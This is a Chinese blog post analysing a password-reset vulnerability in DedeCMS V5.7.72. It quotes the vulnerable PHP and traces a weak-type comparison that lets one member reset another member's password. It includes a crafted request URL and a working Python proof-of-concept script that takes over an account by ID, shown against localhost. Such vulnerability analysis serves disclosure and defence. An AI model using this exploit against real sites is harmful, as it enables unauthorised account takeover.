• 欢迎访问老司机不开车的博客,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,欢迎加入 TG群 QQ群
  • 老司机提醒您:回复"666666"无需人工审核,即可查看文章!Gmail邮箱的都需要审核!
  • 禁止带HTTP连接和联系方式广告留言。所有含有日文以及英语的评论已经屏蔽。
  • 廣告招租!衹接受比特幣和萊特幣付款。廣告沒有限制!有意向聯係 TG_1024
  • 本站的目的是仅仅是科普知识,绝对没有其他任何用意!请遵守当地相关法律法规!
  • 禁止复读机行为!第一次删除账号,第二次封IP。

DeDecms V5.7.72 (织梦CMS)最新版任意用户密码重置漏洞分析

漏洞 老司机 1年前 (2018-01-20) 817次浏览 0个评论

描述

Dedecms是一款开源的 PHP 开源网站管理系统。

影响产品

DeDecms(织梦 CMS) V5.7.72 正式版 20180109 (最新版)

由于前台 resetpassword.php 中对接受的 safeanswer 参数类型比较不够严格,遭受弱类型比较攻击
导致了远程攻击者可以在前台会员中心绕过验证,进行任意用户密码重置攻击

漏洞触发位置

①文件位置:dedecms/member/resetpassword.php(75 行)

else if($dopost == "safequestion")
{
    $mid = preg_replace("#[^0-9]#", "", $id);
    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(empty($safequestion)) $safequestion = '';

    if(empty($safeanswer)) $safeanswer = '';

    if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
    {
        sn($mid, $row['userid'], $row['email'], 'N');
        exit();
    }
    else
    {
        ShowMsg("对不起,您的安全问题或答案回答错误","-1");
        exit();
    }

}

就是这里的判断出现了问题,因为使用了不够严谨的 == 进行了比较,导致 if 语句的条件为真,就会进入分支,进入 sn 函数

if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
{
    sn($mid, $row['userid'], $row['email'], 'N');
    exit();
}

②文件位置:dedecms/member/inc/inc_pwd_functions.php(150 行)
函数名称:function sn

function sn($mid,$userid,$mailto, $send = 'Y')
{
    global $db;
    $tptim= (60*10);
    $dtime = time();
    $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(!is_array($row))
    {
        //发送新邮件;
        newmail($mid,$userid,$mailto,'INSERT',$send);
    }
    //10 分钟后可以再次发送新验证码;
    elseif($dtime - $tptim > $row['mailtime'])
    {
        newmail($mid,$userid,$mailto,'UPDATE',$send);
    }
    //重新发送新的验证码确认邮件;
    else
    {
        return ShowMsg('对不起,请 10 分钟后再重新申请', 'login.php');
    }
}

在 sn 函数内部,会根据 id 到 pwd_tmp 表中判断是否存在对应的临时密码记录,根据结果确定分支,走向 newmail 函数

if(!is_array($row))
    {
        //发送新邮件;
        newmail($mid,$userid,$mailto,'INSERT',$send);
    }

③文件位置:dedecms/member/inc/inc_pwd_functions.php(73 行)
函数名称:function newmail

function newmail($mid, $userid, $mailto, $type, $send)
{
    global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
    $mailtime = time();
    $randval = random(8);
    $mailtitle = $cfg_webname.":密码修改";
    $mailto = $mailto;
    $headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
    $mailbody = "亲爱的".$userid.":\r\n 您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n 本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
    if($type == 'INSERT')
    {
        $key = md5($randval);
        $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid',  '$key', '$mailtime');";
        if($db->ExecuteNoneQuery($sql))
        {
            if($send == 'Y')
            {
                sendmail($mailto,$mailtitle,$mailbody,$headers);
                return ShowMsg('EMAIL 修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
            } else if ($send == 'N')
            {
                return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
            }
        }
        else
        {
            return ShowMsg('对不起修改失败,请联系管理员', 'login.php');
        }
    }
    elseif($type == 'UPDATE')
    {
        $key = md5($randval);
        $sql = "UPDATE `#@__pwd_tmp` SET `pwd` = '$key',mailtime = '$mailtime'  WHERE `mid` ='$mid';";
        if($db->ExecuteNoneQuery($sql))
        {
            if($send == 'Y')
            {
                sendmail($mailto,$mailtitle,$mailbody,$headers);
                ShowMsg('EMAIL 修改验证码已经发送到原来的邮箱请查收', 'login.php');
            }
            elseif($send == 'N')
            {
                return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
            }
        }
        else
        {
            ShowMsg('对不起修改失败,请与管理员联系', 'login.php');
        }
    }
}

进入 newmail 函数后,会因为$type 的值进入这个分支

if($type == 'INSERT')
{
    $key = md5($randval);
    $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid',  '$key', '$mailtime');";
    if($db->ExecuteNoneQuery($sql))
    {
        if($send == 'Y')
        {
            sendmail($mailto,$mailtitle,$mailbody,$headers);
            return ShowMsg('EMAIL 修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
        } else if ($send == 'N')
        {
            return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
        }
    }
    else
    {
        return ShowMsg('对不起修改失败,请联系管理员', 'login.php');
    }
}

然后因为($send == ‘N’)这个条件为真,通过 ShowMsg 打印出修改密码的连接,导致漏洞形成

else if ($send == 'N')
{
    return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}

密码修改连接如下,点击后重新调到 resetpassword.php 这个页面

http://127.0.0.1/dedecms/member/resetpassword.php?dopost=getpasswd&id=9&key=dqg3OSQo

文件位置:dedecms/member/resetpassword.php(96 行)

else if($dopost == "getpasswd")
{
    //修改密码
    if(empty($id))
    {
        ShowMsg("对不起,请不要非法提交","login.php");
        exit();
    }
    $mid = preg_replace("#[^0-9]#", "", $id);
    $row = $db->GetOne("SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'");
    if(empty($row))
    {
        ShowMsg("对不起,请不要非法提交","login.php");
        exit();
    }
    if(empty($setp))
    {
        $tptim= (60*60*24*3);
        $dtime = time();
        if($dtime - $tptim > $row['mailtime'])
        {
            $db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
            ShowMsg("对不起,临时密码修改期限已过期","login.php");
            exit();
        }
        require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
    }
    elseif($setp == 2)
    {
        if(isset($key)) $pwdtmp = $key;

        $sn = md5(trim($pwdtmp));
        if($row['pwd'] == $sn)
        {
            if($pwd != "")
            {
                if($pwd == $pwdok)
                {
                    $pwdok = md5($pwdok);
                    $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
                    $db->executenonequery($sql);
                    $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
                    if($db->executenonequery($sql))
                    {
                        showmsg('更改密码成功,请牢记新密码', 'login.php');
                        exit;
                    }
                }
            }
            showmsg('对不起,新密码为空或填写不一致', '-1');
            exit;
        }
        showmsg('对不起,临时密码错误', '-1');
        exit;
    }
}

在 pwd_tmp 表中查询判断后,最后会跳入这个分支,判断是否超时,然后进入密码修改页面

if(empty($setp))
{
    $tptim= (60*60*24*3);
    $dtime = time();
    if($dtime - $tptim > $row['mailtime'])
    {
        $db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
        ShowMsg("对不起,临时密码修改期限已过期","login.php");
        exit();
    }
    require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
}


然后会再次进入这个页面,不过因为 setp 等于 2,会进入这个分支。完成 member 表的密码修改

elseif($setp == 2)
{
    if(isset($key)) $pwdtmp = $key;

    $sn = md5(trim($pwdtmp));
    if($row['pwd'] == $sn)
    {
        if($pwd != "")
        {
            if($pwd == $pwdok)
            {
                $pwdok = md5($pwdok);
                $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
                $db->executenonequery($sql);
                $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
                if($db->executenonequery($sql))
                {
                    showmsg('更改密码成功,请牢记新密码', 'login.php');
                    exit;
                }
            }
        }
        showmsg('对不起,新密码为空或填写不一致', '-1');
        exit;
    }
    showmsg('对不起,临时密码错误', '-1');
    exit;
}

总结:DeDecms(织梦 CMS) 密码修改处,因为安全问题验证的 safeanswer 参数类型比较不够严格,遭受弱类型比较攻击,可绕过判断
同时修改时的 id 可控,导致了远程攻击者可以在前台会员中心绕过验证,进行任意用户密码重置攻击

漏洞攻击与利用
本地验证
分别注册两个账号
账号:test1
密码:test1

账号:test2
密码:test2

目的:我们使用 test1 账号去重置 test2 账号的密码

http://127.0.0.1/dedecms/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=9

①test1 登录,并发送 payload,此处可以 id 可以遍历,9 是 test2 的 id

②我们在代理工具中找到 ShowMsg 打印出修改密码的连接

③去掉多余字符后,访问修改密码的连接,进入修改页面

http://127.0.0.1/dedecms/member/resetpassword.php?dopost=getpasswd&id=9&key=dqg3OSQo


④test2 密码修改成功,数据库对应 hash 也进行了更新(变成了 123456 的 hash)

Poc

# coding=utf-8

import re
import requests
from bs4 import BeautifulSoup

if __name__ == "__main__":
    host = 'http://127.0.0.1/dedecms/'
    cookie = "PHPSESSID=hi7jm3fncr0q79du7tvu3bm406; DedeUserID=8; DedeUserID__ckMd5=7903ea0790a3690a; DedeLoginTime=1515641375; DedeLoginTime__ckMd5=0a847f5adbfcbbd4"
    # 注册账号的 cookie
    num = 2
    # 要修改密码的 id

    headers = {'Cookie': cookie}
    rs = requests.get(host + '/member/index.php', headers=headers)
    if '/member/myfriend.php' in rs.text and '/member/pm.php' in rs.text:
        print '账号登陆成功'
    else:
        exit('账号登陆失败!')

    payload_url1 = "{host}/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id={num}".format(
        host=host,
        num=num)
    rs = requests.get(payload_url1, headers=headers)
    if '对不起,请 10 分钟后再重新申请'.decode('utf-8') in rs.text:
        exit('对不起,请 10 分钟后再重新申请').decode('utf-8')

    searchObj = re.search(r'<a href=\'(.*?)\'>', rs.text, re.M | re.I)
    payload_url2 = searchObj.group(1)
    payload_url2 = payload_url2.replace('amp;', '')
    print 'Payload : ' + payload_url2
    rs = requests.get(payload_url2, headers=headers)
    soup = BeautifulSoup(rs.text, "html.parser")
    userid = soup.find_all(attrs={"name": "userid"})[0]['value']
    key = soup.find_all(attrs={"name": "key"})[0]['value']
    data = {'dopost': 'getpasswd', 'setp': 2, 'id': num, 'userid': userid, 'key': key, 'pwd': 666666, 'pwdok': 666666}
    rs = requests.post(host + "/member/resetpassword.php", data=data, headers=headers)
    if '更改密码成功,请牢记新密码'.decode('utf-8') in rs.text:
        print '更改密码成功'.decode('utf-8')
        print '账号:'.decode('utf-8') + userid
        print '密码:'.decode('utf-8') + '666666'
    else:
        print '更改密码失败'.decode('utf-8')

博主在此发文(包括但不限于汉字、拼音、拉丁字母)均为随意敲击键盘所出,用于检验本人电脑键盘录入、屏幕显示的机械、光电性能,并不代表本人局部或全部同意、支持或者反对观点。如需要详查请直接与键盘生产厂商法人代表联系。挖井挑水无水表,不会网购无快递。博主只是一名普通的互联网从业者,不懂修电脑,不会卖电脑,不会帮你盗号,不会破解开机密码,找不回你丢失的手机等,如有这样的想法请绕道! 丨本网站采用CC BY 4.0协议进行授权 , 转载请注明DeDecms V5.7.72 (织梦CMS)最新版任意用户密码重置漏洞分析
喜欢 (0)
发表我的评论
取消评论
表情 加粗 删除线 居中

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址